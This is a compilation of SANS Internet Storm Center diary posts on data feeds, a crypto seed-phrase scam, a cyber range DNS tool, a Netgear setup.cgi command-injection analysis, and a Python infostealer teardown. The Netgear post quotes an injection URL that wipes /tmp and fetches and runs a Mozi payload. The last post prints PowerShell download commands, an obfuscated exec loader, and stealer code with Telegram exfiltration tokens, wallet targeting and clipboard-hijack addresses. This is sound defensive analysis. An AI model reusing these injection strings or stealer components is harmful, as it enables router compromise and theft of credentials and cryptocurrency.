ISC Stormcast For Wednesday, February 5th, 2025 https://isc.sans.edu/podcastdetail/9310

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

We have offered several different data feeds via our API or other means. However, we are often not very good at documenting what these feeds are all about. Currently, I am in the process of fixing the documentation around these data feeds.

These data feeds are used to augment our data, but may also be helpful to add "color to your logs", which is how I see most of this data being used. Many data feeds do not contain lists of IPs that should be classified as malicious. For example, we attempt to collect IP addresses of public NTP servers. These are usually part of "pool.ntp.org". We are collecting them because they have triggered false positives. Knowing that an IP address is associated with a public NTP server in case you see odd traffic from or to port 123 is helpful.

Just last week, I came across another resource that I found helpful: rosti.bin.re extracts IoCs from various sources like news articles and blog posts. I added this data to our "IP Info" page to provide this useful context in case you are searching for an IP.

The data we produce is published under a "Creative Commons" license. You may use the data for free if you acknowledge the source and do not resell the data. We do not offer commercial licenses, but if you ask nicely and do not play stupid vendor tricks, we will sometimes allow commercial use. Using the data to help you secure your network is always okay, even if the network is commercial. All data is provided "as is" and we are not responsible if you break your network, lose your job, or start a nuclear war by replacing your dead man switch with our API.

So why do we not make these lists simple "blocklists" for your firewall? In my opinion, most of these lists are stupid, and ours would not be any better. I am not able to tell you what IPs you should block. Many of these IPs exploit well-known vulnerabilities. Spend your time fixing the vulnerability. We will never have a list of all IPs exploiting a particular vulnerability, and the list will never be free of false positives. Consume the data responsibly. We are not going to help you waste time or money. If you need help with that, please contact your enterprise security vendor.

We do, however, always like your data :). The best way to say "Thank You" is to run a honeypot and feed us data. We also appreciate feedback and suggestions for other data sources. Please use our contact page to provide feedback. We would particularly like to hear how you use our data.

Initial data feed documentation

Creative Commons License

Documentation for our API

Example "IP Info" Page (note: you may just enter an IPv4 address into the search box at the top of the page)

I realize the "IP Info" page does not look great. But before you call my baby ugly, send me a suggestion/mockup how to fix it.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Johannes noticed a SPAM comment on his YouTube channel:

It was clear to us that this was a scam, but it wasn't clear to us how it worked.

The seed phrase allows you to derive the private keys of the wallets, and gives you full control over the wallet. And as security professionals, we know you must never share private keys. So the scammer wants us to think that they shared their private keys without understanding the risk. And thus creating a (false) opportunity for dishonest people wanting to appropriate the content of the wallet. Because you have the private keys, you can move the funds out of the wallet to your own wallet.

So one could install wallet software and use the private key to control the wallet.

But let's do this a bit differently.

Mnemonic Code Converter is an online/offline HTML page that takes seed phrases and converts them to a seed (BIP39) and addresses (BIP44).

Doing this for the scammer's seed phrase give this:

I had to select a coin to derive the addresses. USDT (a stablecoin for the US Dollar) is mentioned in the scam comment, but it's not an option in this page. I did some research, and discovered that USDT is a token that can be exchanged on different networks. The most popular network is Tron, and that coin is TRX. So let's try coin TRX:

That address is indeed active on the Tron blockchain :

This wallet contains $5000+, mostly in USDT, and a small bit in TRX. It's a real wallet, and it contains real assets. So what's the scam, why hasn't this money been moved out of the wallet yet?

One thing, notice this at the top of the page:

This means that this is a multi-signature wallet (it has not one private key, like classic wallets, but it has multiple private keys), and that the published seed phrase doesn't give you control over the wallet. To move money out of the wallet, you need the private key of the address mentioned in the permissions (TGk...).

So that's why there is still $5000+ in this wallet.

Second thing, to move the $5000+ USDT tokens out of the wallet, you need to pay a fee with TRX tokens. And the amount of TRX tokens in the wallet is not sufficient to pay the fee. Thus you can't move the USDT tokens to your own wallet. And it's here that dishonest people get scammed.

They will move some of their own TRX into the wallet, and then use that to pay the fee to try to transfer the USDT to their own wallet (it won't work).

We can see this happening in the transaction history of this wallet:

Small amounts of TRX are transfered to this wallet.

So this scam is targetting versed cryptocurrency users: you need to know that TRX coins are necessary to move USDT tokens out of a TRX wallet (I didn't know this).

But why would experienced cryptocurrency users not notice that this is a multisig wallet and that the seed phrase doesn't give them control over the wallet?

Maybe the explanation lies in the fact that the OKX wallet (mentioned in the scam comment) doesn't display that information (alledgedly, there are wallet applications that do flag multisig wallets).

After moving some TRX coins into the wallet, the transfer of USDT tokens is still not possible because of permissions, and the scam victims can't recover their TRX coins, because that transfer is also not possible because of permissions.

 

I'm not well versed in cryptocurrency, please post a comment if you want to correct or complement things I explain here, or if you have different explanations. I used the following resources for my research:

https://www.reddit.com/r/CryptoScams/comments/1i95pk0/how_is_this_scam_working/

https://inleo.io/@bil.prag/crypto-scam-in-youtube-comment-5cs

https://www.reddit.com/r/Bitcoin/comments/10nmirl/how_to_get_publicprivate_key_of_an_address_using/

https://tronscan.io/#/address/TAy4omTf7uENvTm2QrT22ZY8BvdrjXUKzC

 

 

 

Didier Stevens
Senior handler

blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The Good Stuff First This tool is being shared (calling it a tool is generous) due to the number of times last year I had to create fake internet domains. It adds domains and zones to Windows DNS. This was to help with the many student cyber ranges that got ‘sploited [1] in the name of learning.

It is posted to GitHub. [4]

Introduction - To Simulate or Replicate

In my experience with cybersecurity training, there's always this tug-of-war between using tools to simulate threats in a safe sandbox or going for the real deal by replicating actual attacks. To paraphrase; “To Simulate or not to Simulate, that is the question!” When we talk about simulation, I mean using tech like threat simulators where you can control everything down to the last byte. It's great for training because you can teach without the risk.

These tools do an amazing job and this is not a dig on any of them. Sometimes, you just have to take the type 2 approach [2].

When you replicate, you're building a digital mirror of real attacks. This is where you get the view into the "what if" moments. It is also where you can get your hands dirty with live behavior of malware and command and control. Sure, it's riskier, but the payoff in learning can be extremely useful. In my case, we settled on real ‘enough.’

The Problem

Let's first acknowledge that no wheel was re-invented here. We went back to some basics. Routing, DNS and controlling what was executed and it worked [5].

• Safely building an infrastructure so students and users could enjoy non-simulated attacks. Replicate -> Delete -> Repeat. We had to control routing, control leakage, control execution and make this safe at scale.
• Have the environment and logs look as real as possible [6].
• Use known use-cases from current documented APT reports [7].

The Solution
 

First, Managed the Basics:  Make sure you have 100% control over DNS, routing, and what was executed on the network. This provided the power to steer how the cyber range behaved, much like a conductor leading an orchestra. It started with hosts files, and evolved into controlling DNS servers, hence the above tool being shared.

Next, Control the Environment: Pick out known bad IP addresses from the internet's underbelly, those associated with Indicators of Compromise (IOCs). By squatting on these IPs and locking down their routes with static entries and firewall rules at the network's edge, a controlled cyber-range is created. The example CSV in the applet used RFC 5737 and RFC 2606 for IP and domain examples. Make sure to adapt that, as example.test just does not look convincing in logs [8]. FYI, our very own DShield is a good place to start looking if you need a range to use: https://www.dshield.org/block.txt

Then, Craft the Tools: I decided to build our attack tools from the bad guys lens and design our own game space. We tested many of the frameworks and went with Mythic and modeling APT28 and tweaking it to fit our unique setup. This way, we controlled exactly how the "bad guys" played [9]. We selected Mythic for many reasons, however do check out their Jupyter Notebooks!

Building the Network: We set up the network topology using tools like Ansible and Terraform for repeatability. Think of it as setting the stage - you could expect to see code for this in future diaries [10].
 

Finally, Tested and Validated

I tested for route leakage. This is what prompted more than one layer of Firewalls. We had three firewalls in place, two in the primary gamespace with a final gatekeeper. There are dynamic lists that populate the border as a third layer of control importing our cyber-squating space. To summarize, control resultion, control routing, then filter at the border of the lab. [11]. Let me know if you want a deeper dive on this?

Conclusion, Keep it Simple

Over the past year, I've been involved in constructing cyber ranges specifically for replication purposes. When you are asked to do this more than nTimes, where n = the number of times that cause you to lose it and code over the weekend, you automate. Sometimes old methods apply. If this is of interest to the community, let me know in the comments below and I will clean up and release more of the micro-tools assembled to make this all work?

Not a single AI was harmed in the creation of this diary!

@packetmonk on X.

 

References:

[1] MITRE ATT&CK Framework - MITRE ATT&CK

[2] Honeynet Project - Honeynet Project

[3] Honey Pots - Honey Pots and Honey Nets

[4] GitHub - Richard’s PowerShell Scripts (for the DNS configuration script mentioned) - GitHub

[5] DNS is the new BGP - APNIC

[6] Generating Hyptoheses for Successful Threat Hunting - SANS Whitepaper

[7] MITRE APT List - Attack Groups

Richard Porter
--- ISC Handler on Duty

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[This is a Guest Diary by David Watson, an ISC intern as part of the SANS.edu BACS program]

One thing I’ve learned about cybersecurity, particularly during my time here at the Internet Storm Center is this: If you don’t capture detailed network data (like PCAPs), you can easily miss the full picture of an attack, even with the most aggressive logging practices.
 
One of the attack observations I submitted on January 12th detailed an older vulnerability that uses HTTP GET requests, attempting to perform unauthenticated OS command injections on some legacy Netgear devices, targeting the ‘setup.cgi’ script. I was curious as to which Netgear devices might be involved, and some research led me to a few publications on exploit-db.com, which identified specifically the DGN1000 with firmware versions before 1.1.0.48, and the DGN2200v1 (all firmware versions) modem/router models.[2][3] Both of these models are shown to be “end of service” on the Netgear website. [4][5] There was no CVE mentioned, but a few days later I found out from another post on the 15th of January here at the Internet Storm Center, written by Dr. Yee Ching Tok, Ph.D., ISC Handler:

“This vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025.” [6]

CVE-2024-12847 has a CVSS score of 9.8 as shown on NIST.gov. [7] This post will illustrate how I found this in my logs, why it matters, and how packet captures and Zeek logs proved essential.

An Older Vulnerability Resurfaces

Netgear’s DGN1000 and DGN2200v1 devices are end-of-life (EOL) devices. The bug sits in a script called ‘setup.cgi’, (cgi = Common Gateway Interface) which is meant for administrative management of the router. Attackers discovered that by passing certain parameters, one can execute arbitrary OS commands on the router’s underlying Linux operating system as root, without any authentication checks. Over the last several months my web logs showed 257 suspicious HTTP GET requests from 16 unique IP addresses to ‘/setup.cgi’.

Looking into my Zeek logs to correlate this activity revealed an interesting payload, showing two examples of the command injection attempts here:

Breaking this down, we have:
 

• GET /setup.cgi?next_file=netgear.cfg – Targeting the setup.cgi script.
• &todo=syscmd – Calling the syscmd function.
• &cmd=rm+-rf+/tmp/*;wget+hxxp[://]<ip_address:port>/Mozi[.]m+-O+/tmp/netgear;sh+netgear – OS command injection.
• &curpath=/ - Setting “current path” to root.
• &currentsetting.htm=1 – unclear exactly what this part does.

The command injection attempt aims to:

• rm -rf /tmp/*; - Remove the contents of the /tmp directory.
• wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; - Retrieve malicious script (Mozi botnet related? [14]) from remote server, save it in /tmp directory and name it “netgear”.
• sh netgear – Execute malicious script on target device.

Reverse-Engineering setup.cgi

Curiosity drove me to download a vulnerable version of the DGN1000 firmware, specifically version 1.1.00.24, still available right off the Netgear website! [8] I found the setup.cgi file, located in the <source>/target/sbin directory. Running the ‘file’ command showed:

setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

Using my relatively new reverse engineering “ninja” skills gained from several CTFs I have participated in over the last few years (and various websites with C documentation), I decided to attempt a disassembly with radare2, [10] as it allows me to look inside this compiled binary and see how it works.

I am interested in the syscmd function, so I ran “iz~syscmd”, which gave me a string reference to syscmd and and a pointer to its location. Running “pdf” (print disassembly of function) after navigating to that address within the binary reveals the function associated with syscmd. Here is what that looks like:

Right off the bat, I can see some standard C library calls like putenv, printf, snprintf, chdir, puts, fflush, popen, fread, fwrite, and pclose. [9] “find_val” might be a custom or proprietary function specific to the Netgear firmware, but I did not find any specific reference pointing to this as of now. Given the context of this disassembly, we will assume that find_val has something to do with retrieving user-supplied parameters. Based on the sequence of events here, this is what I can conclude from the syscmd function:

• putenv, puts, and printf have to do with setting up the environment, status messages and/or error reporting and/or debugging.[9]
• find_val most likely retrieves user-supplied parameters.
• snprintf formats and stores characters into the buffer [9], likely from find_val.
• chdir possibly relates to the curpath=/ in the HTTP request.
• fflush writes the contents of the buffer to the output stream. [9]
• popen spawns a shell instance and executes the command. [11]
• fread() and fwrite() capture the output and send it somewhere (log file and/or back to the user if necessary)[9]

Based on what we can see how the syscmd function is laid out, there is absolutely zero input sanitization, and, looking at the entire setup.cgi script there is no mention of any authentication checks before being able to run these commands.

As far as the netgear.cfg file goes, it is not entirely clear why there is a “next_file = netgear.cfg” parameter before the “&todo=syscmd…etc” begins. I did not have access to the netgear.cfg file as it was a broken hard link pointing to the /tmp directory which was empty. I did find the “currentsetting.htm” file in source/target/www.eng, which, when printed, shows basic information about the device:

• Firmware=V1.1.0.24NA
• RegionTag=DGN1000_NA
• Region=US
• Model=DGN1000
• InternetConnectionStatus=Up
• ParentalControlSupported=1

I also found something else interesting here. A file called syscmd.htm which has several interesting JavaScript functions in it relating to our exploit.

Essentially this (combined with the rest of the script, not included here) looks like part of the local front-end of the router’s web page to facilitate running the user-initiated commands.

This is interesting because there is at least some of the input validation/sanitization (included in some of the REGEX) we were looking for in the setup.cgi script itself! But this is only really enforced on the client/local side. There is nothing stopping an attacker from using this script to craft their own custom HTTP requests and sending them directly to the setup.cgi script in the provided format:

url: “/setup.cgi?todo=syscmd&cmd=<command_injection>&curpath=/”

The only remaining parts to the full URL we mentioned are the “next_file=netgear.cfg” and “currentsetting.htm=1”. It is possible that these parameters need to be added to prevent the failure of the request/destination device throwing back errors, or perhaps one or both values have to do with the authentication bypass, as we did not see any checks for authentication in the setup.cgi script itself. It is also possible that the attackers are just re-using the proof of concept that was referenced on the exploit-db site,[2][3] showing the exact format of the exploit, and not personally crafting the request themselves, save for the remote server IP and the malicious files in question, used to add the router to a botnet and/or hijack CPU resources to mine cryptocurrency, as we have also seen in other attempts on my honeypot.

Conclusion

The fact that we are still seeing what is now CVE-2024-12847 actively being exploited in the wild as much as it is isn’t all that surprising. Many people choose to keep their older hardware for as long as possible because, perhaps they cannot afford to replace it, and/or they do not realize the importance of patching regularly or upgrading when needed. Personally, I know VERY few people who check to see if their router needs updated firmware at least once a month. One of the potential benefits of using equipment provided by the Internet Service Provider(s) is they will often push these firmware updates to customer equipment, but that might not always be guaranteed, so it is worth double checking. And if the customer purchases their own equipment, it is their responsibility to keep it patched.
 
This graphic shows how many of these URLs the Internet Storm Center has seen over the past year: [13]

What do we glean from this? Outdated systems remain vulnerable long after their official support has ended. Despite being labeled as “end of service”, devices like the Netgear DGN1000 and DGN2200v1 (and probably many more Internet of Things (IoT) devices) continue to present significant security risks that can and will be exploited if appropriate measures are not taken.

My ultimate point in writing this is about the lessons I learned during this internship, in comprehensive network monitoring and data capture. Without the combination of detailed logging combined with things like packet captures and Zeek logs, these things can sometimes slip under the radar, leaving networks exposed. The ability to correlate events across different logs, as shown with Zeek in this case, was crucial in identifying and understanding the scope of the attack and understanding how to remediate and patch vulnerabilities.

I read an article earlier today that gave me a chuckle, titled “I paid $250,000 to learn forensics… and still don’t know forensics… [12]. Looking past the forensics title (and the humor), I think this applies to all of cybersecurity in general. Threats are constantly evolving, making this a field that demands continuous learning and adaptation. As soon as we become complacent, we risk failing to protect and defend our networks effectively. There is no definitive endpoint where we can say we “fully know” network security, threat hunting, incident response, etc. It is a lifelong journey, and one which I am extremely excited to be on. I will close this out with a phrase that has always stuck in my mind ever since my time in the Marines, and feel it is very applicable here. “Complacency kills” (and leaves networks vulnerable). One more thing, someone go buy Grandma a new router!

[1] https://www.sans.org/cyber-security-courses/network-monitoring-threat-detection/
[2] https://www.exploit-db.com/exploits/25978
[3] https://www.exploit-db.com/exploits/43055
[4] https://www.netgear.com/support/product/dgn2200v1/
[5] https://www.netgear.com/support/product/dgn1000/
[6] https://isc.sans.edu/diary/The+Curious+Case+of+a+12YearOld+Netgear+Router+Vulnerability/31592
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[8] https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
[9] https://www.ibm.com/docs/en/i/7.5?topic=extensions-standard-c-library-functions-table-by-name
[10] https://github.com/radareorg/radare2
[11] https://c-for-dummies.com/blog/?p=1418
[12] https://brettshavers.com/brett-s-blog/entry/i-paid-100-000-to-learn-forensics-and-still-dont-know-forensics
[13] https://isc.sans.edu/weblogs/urlhistory.html?url=L3NldHVwLmNnaQ==
[14] https://thehackernews.com/2024/11/androxgh0st-malware-integrates-mozi.html
[15] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Attackers like to mix multiple technologies to improve the deployment of their malicious code. I spotted a small script that drops a Python malware. The file was sent on VirusTotal and got a score of 2/60![1] (SHA256:96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f). The script starts by downloading and opening a fake Garmin document through Powershell:

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://www[.]dropbox[.]com/scl/fi/30nkntkwjho3k60w7q3gu/Garmin_Campaign_Information_for_Partners_V5.docx?rlkey=k1zd9llfafqdqpb6be1rpqlmr&st=rxkezfgo&dl=1', '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx')"
powershell -WindowStyle Hidden -Command "Start-Process '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx'"

Then, it downloads a complete Python environment and unzips it on the victim's computer:

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://gitlab[.]com/grr4174450/gar/-/raw/main/fuknewGa1212.zip', 'C:\Users\Public\Document.zip')"
powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"

The file "Document.zip" is pretty big (66MB) and contains a Python environment. Once installed, a Python script is launched:

powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"

The file "ld_312.pd" is pretty simple and will execute a payload that has been compressed and Base64-encoded:

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'PyiF59g///7z8X [...] yWzVVwJe'))

Once you deobfuscate this, you'll find another payload in reversed strings, compressed and Base64-encode. The funny part is that this technique has been implemented approximately 30(!) times. I stopped counting in Cyberchef. Finally, I got this code:

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from base64 import b64decode
import os
count = 0;
key = b'aPIYKiq93v3ES7qf';                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                key = b'Eeo2IU0s24TMN0Tc'
def decrypt(ciphertext, key):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(b64decode(ciphertext.encode('utf-8'))) + decryptor.finalize()
    unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
    unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
    return unpadded_data.decode('utf-8')
with open(os.path.join(os.path.dirname(__file__), 'LogActiveScutG4.sqlite'), 'r', encoding='utf-8') as file:
    content = file.read()
exec(decrypt(content,key))

The next payload is hidden in a fake SQLite database located in Document.zip. It's a classic InfoStealer that uses Telegram for exfiltration:

class BotInfo:
    bot_id = 'Scut_1212_Ga-HN'
    tokenbot_default = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c"
    chatid_default = -1002427758677
    tokenbot_startup = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c"
    chatid_startup = -1002466388958
    tokenbot_error = "7938337208:AAG_OU23w7v2ahPVAffIORZ6Ecc__-jAoeU"
    chatid_error = -1002464848676
    chatid_backup = 5184413483
    caption = ""
    host_update = ""

Of course, these days, specific attention is paid to crypto wallets. Besides the classic data, this malware looks at many browser extensions:

class GetWalletExtension:
    listExtension = {
        'nhbicdelgedinnbcidconlnfeionhbml': 'Begin Wallet',
        'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby',
        'nhnkbkgjikgcigadomkphalanndcapjk': 'Clover Wallet',
        'cnmamaachppnkjgnildpdmkaakejnhae': 'Auro Wallet',
        'jojhfeoedkpkglbfimdfabpdfjaoolaf': 'Polymesh Wallet',
        'nknhiehlklippafakaeklbeglecifhad': 'Nabox Wallet',
        'ookjlbkiijinhpmnjffcofjonbfbgaoc': 'Temple',
        'dkdedlpgdmmkkfjabffeganieamfklkm': 'Cyano Wallet',
        'cihmoadaighcejopammfbmddcmdekcje': 'LeafWallet',
        'lodccjjbdhfakaekdiahmedfbieldgik': 'DAppPlay',
        'ijmpgkjfkbfhoebgogflfebnmejmfbml': 'BitClip',
        'onofpnbbkehpmmoabgpcpmigafmmnjhl': 'Nash Extension',
        'bcopgchhojmggmffilplmbdicgaihlkp': 'Hycon Lite Client',
        'klnaejjgbibmhlephnhpmaofohgkpgkd': 'ZilPay',
        'algblmhagnobbnmakepomicmfljlbehg': 'ADS Wallet',
        'jccapkebeeiajkkdemacblkjhhhboiek': 'Crust Wallet',
        'agechnindjilpccclelhlbjphbgnobpf': 'Fractal Wallet',
        'jnldfbidonfeldmalbflbmlebbipcnle': 'Bitfinity Wallet',
        'jblndlipeogpafnldhgmapagcccfchpi': 'Kaikas',
        [...]

And replace data with the Attacker's wallets (via the clipboard):

class FuncCopyCoin:
    patterns = {
        'BTC - Bech32': re.compile(r'^bc1[a-zA-Z0-9]{39,59}$'),
        'ETH': re.compile(r'^0x[a-fA-F0-9]{40}$'),
        'XRP': re.compile(r'^r[a-zA-Z0-9]{24,34}$'),
        'LTC - Bech32': re.compile(r'^ltc1[a-zA-Z0-9]{39,59}$'),
        'TRX': re.compile(r'^T[a-zA-Z0-9]{33}$'),
        'DOGE': re.compile(r'^[D9][a-zA-Z0-9]{33}$'),
        'SOL': re.compile(r'^[1-9A-HJ-NP-Za-km-z]{44}$'),
        'ADA - Bech32': re.compile(r'^addr1[0-9a-zA-Z]{98}$'),
        'TON': re.compile(r'^[EU]Q[A-Za-z0-9_-]{46}$'),
    }

    myWallets = {
        'BTC - Bech32': "bc1q23dns0cmqvl4fplcqs7frrxt9m0jyntns57j89",
        'ETH': "0x2BB681F2ACB1765c7BB9772a720b472605581F80", #chung v?i BNB
        'XRP': "rKGVo3QH9jC7fHkpYmsMcZ27LGHoPspjAz",
        'LTC - Bech32': "ltc1qf4mynptsd4tpdyeukku2tu5sl0ggduxxtz6ga6",
        'TRX': "TXHgfLWtk55aQq1WM9WGfg8ZjcqPebxBUq",
        'DOGE': "D8xfnh6N1Y8GDA9Yu1N28LrczxVXFJVh95",
        'SOL': "41hmZSiXCvomvV3bYbZRCbD497SHg9RVASFPw3F4KUqR",
        'ADA - Bech32': "addr1q8tgjkh53rcryz9z9rx28lz0cvv8n558q6qq4ac3uhmk393kj5f0ea87nvnuwfc48th8372js2rmngtyqnap9vg780msle3jra",
        'TON': "UQBn4H7evUFhvpi9VUZTEYuNP68lh-XTWB1lOybRNl1zXbqj",
    }

[1] https://www.virustotal.com/gui/file/96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.